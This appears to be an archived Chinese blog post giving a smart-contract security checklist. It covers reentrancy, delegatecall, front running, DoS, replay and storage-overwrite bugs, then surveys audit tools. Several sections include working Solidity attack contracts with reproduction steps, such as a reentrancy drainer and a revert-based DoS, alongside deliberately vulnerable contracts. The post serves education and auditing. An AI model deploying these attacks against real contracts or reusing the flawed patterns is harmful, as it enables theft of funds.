0%

智能合约Checklist

本文首次发表在Freebuf上,本文只做归档用。

整形溢出(Arithmetic Issues)

如下代码,如果没有assert判断,那么sellerBalance+value可能会超出uint上限制导致溢出。

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.15;
contract Overflow {
uint private sellerBalance=0;

function add(uint value) returns (bool, uint){
sellerBalance += value; // complicated math with possible overflow

// possible auditor assert
assert(sellerBalance >= value);
}
}

危险的delegatecall(dangerous delegatecall)contractfuzzer

首先需要了解call和delegatecall的区别:call和delegatecall都为合约相互调用时的函数,假设A调用B函数,call方法结果展示到B中,delegatecall方法结果展示到A中。

在如下示例中,Mark如果用delegatecall调用了恶意合约Steal,那么Mark合约会被删除。

复现:

  1. 用A账户部署Steal,用B账户部署Mark合约,并在部署时为合约附加10个ether。
  2. 账户B调用Mark.call(address(Steal)),即用B调用Steal的Innocence方法,实际上innocence会在Mark的上下文环境运行,发现账户B收到合约的10 ether(注意不是A账户)
  3. 用C账户执行Mark.deposit()方法,并附加10ether,再调用destruct方法,发现B无法收到10ether,说明合约确实已经在第二步被销毁。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.2;
contract Steal{
address owner;
constructor () payable {
owner = msg.sender;
}
function innocence() {
log0("123");
selfdestruct(owner);
}
}

contract Mark {
address owner;
constructor () payable {
owner = msg.sender;
}
function Deposit() payable {}
function call(address a) {
a.delegatecall(bytes4(keccak256("innocence()")));
}
}

无Gas发送(Gasless Send)contractfuzzer

合约C调用合约D1时,由于fallback函数修改了storage变量——这是一个消耗大量gas的操作——导致了超过fallback的gas上限(2300gas)导致fallback失败,调用D2时,由于没有超过上限,调用成功。

复现:

  1. 用10ether部署C合约,0ether部署D1合约,0ether部署D2合约
  2. 调用C.pay(1000000000000000000, address(D1)),D1的count值仍为0。
  3. 调用D1.kill(),以太币不增加。2,3两步说明了D1的fallback调用失败
  4. 调用C.pay(1000000000000000000,address(D2))
  5. 调用D2.kill(),发现账户增加1ether,说明D2的fallback调用成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pragma solidity ^0.4.2;

contract C {
address owner;
constructor () payable{
owner=msg.sender;
}
function pay(uint n, address d){
d.send(n);
}
function kill() {
if (owner == msg.sender) {
selfdestruct(owner);
}
}
}

contract D1 {
address owner;
uint public count = 0;
constructor () payable{
owner=msg.sender;
}

function() payable {
count = count+1;
}
function kill() {
if (owner == msg.sender) {
selfdestruct(owner);
}
}
}

contract D2 {
address owner;

constructor () payable{
owner=msg.sender;
}
function() payable {}
function kill() {
if (owner == msg.sender) {
selfdestruct(owner);
}
}
}

依赖于交易顺序/条件竞争(TOD/Front Running)smarter

由于:

  1. 只有当交易被打包进区块时,他才是不可更改的
  2. 区块会优先打包gasprice更高的交易

所以攻击者可以恶意操控交易顺序从而使合约对自己有利。如图,出题人和做题人同时发起合约,那么做题人得到的奖励因合约执行顺序不同而不同。

1534317198703

再例如ERC20标准中的approve,整个流程是这样的:

  1. 用户A授权用户B 100代币的额度
  2. 用户A觉得100代币的额度太高了,再次调用approve试图把额度改为50
  3. 用户B在待交易处(打包前)看到了这笔交易
  4. 用户B构造一笔提取100代币的交易,通过条件竞争将这笔交易打包到了修改额度之前,成功提取了100代币
  5. 用户B发起了第二次交易,提取50代币,用户B成功拥有了150代币
1
2
3
function approve(address _spender, uint256 _value) public returns (bool success){
allowance[msg.sender][_spender] = _value;
return true

依赖于时间戳(Timestamp Dependence/Time manipulation)contractfuzzer

1534316701411

攻击者可以修改区块的时间戳±900s以此获益。

依赖于区块号(BlockNumber Dependency)contractfuzzer

和上面依赖时间戳类似

ExceptionDisordercontractfuzzer

1
2
3
4
5
6
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount);
}

上面给出的代码中使用 send() 函数进行转账,因为这里没有验证 send() 返回值,如果msg.sender 为合约账户 fallback() 调用失败,则 send() 返回false,最终导致账户余额减少了,钱却没有拿到。

未处理的异常(Mishandled Exceptions/Unchecked Return Values For Low Level Calls)smarter

例如合约KoET,攻击者可以控制函数调用次数(EVM限制调用深度为1024),从而导致send函数调用失败,但是接下来的代码会继续执行,这样前一个国王就无法得到报酬(compensation)。
1535892194599

Attacker:

1535891836531

复现失败,在Remix中运行递归会崩溃,在实际运行中由于Gas较高,无法交易(预算手续费大于30ether)。

重入漏洞(Reentrancy/DAO)seebug1

Solidity 中 <address>.transfer()<address>.send()<address>.gas().call.vale()()都可以用于向某一地址发送 ether,他们的区别在于:

  1. <address>.transfer()
    • 当发送失败时会 throw; 回滚状态
    • 只会传递 2300 Gas 供调用,防止重入(reentrancy)
  2. <address>.send()
    • 当发送失败时会返回 false 布尔值
    • 只会传递 2300 Gas 供调用,防止重入(reentrancy)
  3. <address>.gas().call.value()()
    • 当发送失败时会返回 false 布尔值
    • 传递所有可用 Gas 进行调用(可通过 gas(gas_value) 进行限制),不能有效防止重入(reentrancy)

当外部账户或其他合约向一个合约地址发送ether时,会执行该合约的fallback函数(当调用合约时没有匹配到函数,也会调用没有名字的fallback函数——The DAO)。且call.value()会将所有可用Gas给予外部调用(fallback函数),若在fallback函数中再调用withdraw函数,则会导致递归问题。攻击者可以部署一个恶意递归的合约将公共钱包这个合约账户里的Ether全部提出来。

复现:

  1. 账户A部署IDMoney合约,账户B部署Attack合约
  2. 账户A调用IDMoney()方法,并附加10ether
  3. 账户B部署Attack合约,附加2ether
  4. 账户B调用Attack.setVictim()方法,设置victim变量为IDMoney合约地址
  5. 账户B调用Attack.step1()方法,设置amount=1000000000000000000,即合约Attack调用合约IDMoney.deposit()方法
  6. 账户B调用Attack.step2()方法,设置amount=500000000000000000
  7. 账户B调用Attack.stopAttack()方法,获得IDMoney的所有余额(包括A的存款,严格说是合约中除了500000000000000000wei的余额)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
pragma solidity ^0.4.19;

contract IDMoney{
address _owner;
mapping (address => uint256) balances;

function IDMoney() {
_owner = msg.sender;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(address to, uint256 amount) public payable {
require(balances[msg.sender] >= amount);
require(this.balance >= amount);
log0(bytes32(address(this).balance/1e15));
to.call.value(amount)();
balances[msg.sender] -= amount;
}
function balanceof(address to) constant returns(uint256){
return balances[to];
}
}

contract Attack {
address owner;
address victim;

modifier ownerOnly { require(owner == msg.sender); _; }

function Attack() payable { owner = msg.sender; }

// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly { victim = target; }

// deposit Ether to IDMoney deployed
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// withdraw Ether from IDMoney deployed
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}

function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}

function () payable {
if (msg.sender == victim) {
// 再次尝试调用 IDMoney 的 withdraw 函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}

注意到合约IDMoney.withdraw()方法已经存在检查账户余额的代码,但是却未能生效,原因是递归调用时没有执行到balances[msg.sender] -= amount;,因此调用时,账户的余额是不变的,而真正导致递归调用退出的是require(this.balance >= amount);,这也是为何调用结束后合约还剩下amount数量的以太币的原因。有人会问,如果把这句话删掉呢?我本以为合约会报错,但是很遗憾,合约依然能够正常运行,并且合约中不再剩下任何以太币。

DoS攻击DoS

频繁调用某些Op(EXTCODESIZE和SUICIDE),这些Op花费的Gas小,但是需要大量资源(计算资源,I/O),以此造成DoS,对以太坊合约进行 DoS 攻击,可能导致 Ether 和 Gas 的大量消耗,更严重的是让原本的合约代码逻辑无法正常运行。

复现:

  1. 账户A部署PresidentOfCountry合约设置_price为1e18(1ether)。
  2. 账户B调用PresidentOfCountry,并附加1ether,成为President,price=2ether
  3. 账户C部署Attack,调用start_attack(address(PresidentOfCountry))并附加2ether,账户C成为President。
  4. 账户B调用PresidentOfCountry,并附加4ether,由于B要成为president,,需要调用PresidentOfCountry合约的becomePresident()函数,该函数会通过 transfer() 把ETH退回给之前的president,即Attack合约地址,但是因为Attacker的回退函数revert()抛异常==>transfer()抛异常==>becomePresident()抛异常,故而账户B永远无法成为president了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity ^0.4.10;

contract PresidentOfCountry {
address public president;
uint256 public price;

constructor(uint256 _price) public payable {
require(_price > 0);
price = _price;
president = msg.sender;
}

function becomePresident() payable {
assert(msg.value >= price); // must pay the price to become president
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = msg.value * 2; // we double the price to become president
}
}
contract Attack {
function () { revert(); }

function start_attack(address _target) payable {
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
}
}

重放攻击blackhat2018

如果合约存在相同的代码,则攻击者可以使用合约A函数的参数调用合约B。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*
* 付款人要为收款人转账,但是付款人没有足够的ETH,因此找一个代理人,并支付一定的代币作为代理费
* @param _from 付款人
* @param _to 收款人
* @param _value 金额
* @param feeUgt 代理费
* @param _v sig[0:66] #由付款人签名,即付款人确认付钱
* @param _r sig[66:130]
* @param _s sig[130:132]
* 如果其他合约同样包含TransferProxy函数,并且实现相似,那么攻击者可以在B合约上重放函数参数,B合约会执行成功
*/
function transferProxy(address _from, address _to, uint256 _value, uint256 _feeUgt,
uint8 _v,bytes32 _r, bytes32 _s) returns (bool){

if(balances[_from] < _feeUgt + _value) throw;

uint256 nonce = nonces[_from];
bytes32 h = sha3(_from,_to,_value,_feeUgt,nonce);
// ecrecover 验签函数
if(_from != ecrecover(h,_v,_r,_s)) throw;

if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _feeUgt < balances[msg.sender]) throw;
balances[_to] += _value;
Transfer(_from, _to, _value);

balances[msg.sender] += _feeUgt;
Transfer(_from, msg.sender, _feeUgt);

balances[_from] -= _value + _feeUgt;
nonces[_from] = nonce + 1;
return true;
}

变量覆盖varreplace

以如下代码为例,Solidity存储机制的问题,p初始化后的name、mappedAddress地址会与变量testA、testB地址重合,导致调用test函数给结构体p赋值后,变量testA和testB的值也会被覆盖。

复现:

  1. 调用TestContract.test()方法
  2. 检查testA和testB的值,已被改变
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.4.0;
contract TestContract{

int public testA;
address public testB;

struct Person {
int name;
address mappedAddress;
}

function test(int _name, address _mappedAddress) public{
Person p;
p.name = _name; //testA被改变
p.mappedAddress = _mappedAddress; //testB被改变
}
}

相关工作

  • DASPdasp总结了以太坊合约的Top10安全性问题

  • luu等人smarter设计一套基于符号执行的智能合约安全审计工具oyente(已做过演示,目前可以检测的漏洞有整形溢出,合约依赖交易顺序,依赖时间戳的漏洞,未处理异常和重入漏洞

  • Nikolicmaian等人设计了一套符号执行检测智能合约的工具MAIAN,这些问题包括合约永久锁定资金,资金可被恶意用户转账以及被任意用户杀死,我们选用了34200个合约(去重复后有2365个),我们抽样调查了3759个合约,得到89%的正确率。

  • jiang等人contractfuzzer设计了一套基于fuzz的智能合约审计工具ContractFuzzer,他们通过在EVM中插桩,以此获取程序在执行中产生的信息,通过预先设置的测试准则发现漏洞,他们设计的工具可以检测无Gas发送、Exception Disorder、重入漏洞、依赖于时间戳漏洞、依赖于区块高度漏洞、危险的Delegatecall、合约永久锁定资金7大安全性问题,经过试验,ContractFuzzer发现漏洞的准确率较高,但是相较于Oyente,此工具找到的漏洞数量较少。

  • Liu等人ReGuard构建了基于fuzz的智能合约检测工具,旨在检测合约中的重入漏洞,实验表明,相较于Oyente,该工具有更高的准确率,并且能发现更多数量的问题。

  • chen等人DoS通过动态调整Op执行的gas花费阻止DoS攻击(通过反复执行小gas的opcode,消耗系统资源造成dos)。

参考文献

DoS. Chen, Ting, et al. “An Adaptive Gas Cost Mechanism for Ethereum to Defend Against Under-Priced DoS Attacks.” International Conference on Information Security Practice and Experience. Springer, Cham, 2017.
smarter. Luu, Loi, et al. “Making smart contracts smarter.” Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. ACM, 2016.
blackhat2018. Bai, Zhenxuan, et al. “Your May Have Paid More than You Imagine:Replay Attacks on Ethereum Smart Contracts.” Blackhat. 2018
seebug1. 以太坊智能合约安全入门了解一下(上), https://paper.seebug.org/601/
contractfuzzer. Bo Jiang, Ye Liu, and W.K. Chan. 2018. ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection. In Proceedings ofthe 33rd IEEE/ACM International Conference on Automated Software Engineering (ASE’18), September 3–7, Montpellier, France, 10 pages.
varreplace. Solidity中存储方式错误使用所导致的变量覆盖,http://www.freebuf.com/articles/blockchain-articles/175237.html
maian. Ivica Nikolic, Aashish Kolluri, Ilya Sergey, Prateek Saxena, and Aquinas Hobor. 2018. Finding The Greedy, Prodigal, and Suicidal Contracts at Scale. (2018). DOI:https://doi.org/arXiv:1802.06038v1
ReGuard. Liu, C., Liu, H., Cao, Z., Chen, Z., Chen, B., & Roscoe, B. (2018). ReGuard: Finding reentrancy bugs in smart contracts. Proceedings - International Conference on Software Engineering, 65–68. https://doi.org/10.1145/3183440.3183495
dasp. http://www.dasp.co/